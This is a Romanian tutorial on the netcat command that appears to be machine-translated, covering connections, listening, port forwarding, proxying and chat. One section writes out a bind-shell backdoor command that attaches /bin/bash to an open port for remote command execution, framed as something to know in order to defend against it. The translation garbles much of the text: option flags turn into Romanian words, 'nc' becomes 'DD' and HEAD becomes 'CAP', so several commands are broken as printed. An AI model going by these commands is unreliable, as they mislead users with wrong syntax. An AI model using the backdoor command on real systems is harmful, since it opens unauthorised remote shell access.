comanda NC este pentru efectuarea sarcinilor de întreținere/diagnosticare legate de rețea . Se poate efectua operațiuni, cum ar fi citire, scriere sau redirecționări de date prin rețea, similar cu modul în care puteți utiliza comanda cat pentru a manipula fișierele de pe sistemul Linux. Comanda Nc poate fi folosit ca un utilitar pentru a scana porturi, monitorizare sau poate acționa, de asemenea, ca un proxy TCP de bază.
organizațiile îl pot utiliza pentru a-și revizui securitatea rețelei, serverele web, serverele telnet, serverele de poștă și așa mai departe, verificând porturile deschise și apoi securizate., Comanda NC poate fi, de asemenea, utilizată pentru a capta informațiile trimise de sistem.
Recomandat Citește și : Top 7 comenzi pentru Linux Monitorizare a Traficului de Rețea
Citeste si : Important PostgreSQL comenzi ar trebui să știi
Acum, haideți să discutăm cum putem folosi comanda NC cu unele exemple,
Exemple de comanda NC
se Conecteze la un server de la distanță
Următorul exemplu arată cum ne putem conecta la server de la distanță cu comanda nc,
$ nc 10.10.10.100 80
aici, 10.10.10.,100 este IP-ul serverului la care dorim să ne conectăm & 80 este numărul portului pentru serverul de la distanță. Odată conectat, putem efectua unele alte funcții, cum ar fi să putem obține numărul total de pagini cu conținut
GET/HTTP/1.1
sau aduce nume de pagină,
GET/HTTP/1.1
sau putem obține banner pentru sistemul de OPERARE amprentarea cu următoarele,
CAP/HTTP/1.1
Acest lucru ne va permite să știu ce software-ul & versiune este utilizată pentru a rula serverul.,
Asculta intrare cererile de conectare
Pentru a verifica un server de intrare pentru cerere de conexiune de pe un număr de port, utilizați următorul exemplu
$ nc-am 8080
Acum DD este în modul de ascultare pentru a verifica portul 8080 pentru conexiune de intrare de cereri. Acum, modul de ascultare va continua să funcționeze, până la terminarea manuală. Dar putem aborda această opțiune ” w ” pentru NC,
$ nc-w 10 8080
aici, 10 înseamnă NC va asculta pentru conexiuni de 10 secunde numai.,
Conectarea la porturile UDP
în mod implicit, ne putem conecta la porturile TCP cu DD dar pentru a asculta cerere de intrare făcut să UDP trebuie să folosiți opțiunea „u”,
$ nc-l-u 55
Utilizarea NC pentru Port forwarding
Cu opțiunea ” c ” NC, putem redirecționa un port la altul. Exemplu complet este,
$ nc-u – l 8080-C ‘nc-u-l 8090’
aici, am transmis toate cererile primite de la portul 8080 la portul 8090.pentru a utiliza comanda NC ca proxy, utilizați <| p>
$ nc – l 8080 / nc 10.10.10.,200 80
aici, toate conexiunile de intrare la portul 8080 vor fi redirecționate către serverul 10.10.10.200 pe portul 80.
acum, cu comanda de mai sus, am creat doar un pasaj unic. Pentru a crea o întoarcere pasaj sau 2 mod de canal de comunicare, folosiți următoarea comandă,
$ mkfifo 2way
$ nc – am 8080 0<2way | nc 10.10.10.200 80 1>2way
Acum, veți avea capacitatea de a trimite și primi informații prin nc proxy.,
folosind NC ca instrument de chat
Un alt utilitar care comanda NC poate servi este ca un instrument de chat. Da, îl putem folosi și ca chat. Pentru ao crea, executați mai întâi următoarea comandă pe un server,
$ nc – l 8080
decât să vă conectați la mașină la distanță, executați
$ nc 10.10.10.100 8080
acum putem începe conversația folosind terminalul/CLI.
folosind NC pentru a crea un sistem backdoor
Acum, aceasta este cea mai comună aplicație a NC & este folosită mai ales de hackeri foarte mult., Practic, acest lucru creează un sistem backdoor to care poate fi exploatat de hackeri (nu ar trebui să o faci, greșit).
trebuie să fim conștienți de acest lucru pentru a proteja împotriva acestui tip de exploateaza.
Următoarea comandă poate fi folosit pentru a crea un backdoor,
$ nc-am 5500-e /bin/bash
aici, ne-am atașat port 5500 /bin/bash, care acum poate fi conectat la o mașină de la distanță pentru a executa comenzi,
$ nc 10.10.10.100 5500
Forța server să rămână
Server vor mai asculta pentru conexiuni odată ce o conexiune client a fost reziliat., Dar cu opțiunea „k”, putem forța un server să rămână în funcțiune, chiar și atunci când niciun client nu este conectat.$ nc-l-k 8080
încheiem acum acest tutorial despre cum să utilizați comanda NC, vă rugăm să nu ezitați să trimiteți orice întrebări sau întrebări pe care le aveți cu privire la acest articol.,
Dacă credeți că ne-au ajutat sau doar doriți să ne sprijine, vă rugăm să ia în considerare aceste :-
Conectați-vă la noi: Facebook | Twitter | Google Plus
ne Doneze de hard câștigat bani:
Linux TechLab este recunoscător pentru sprijinul dumneavoastră în continuare.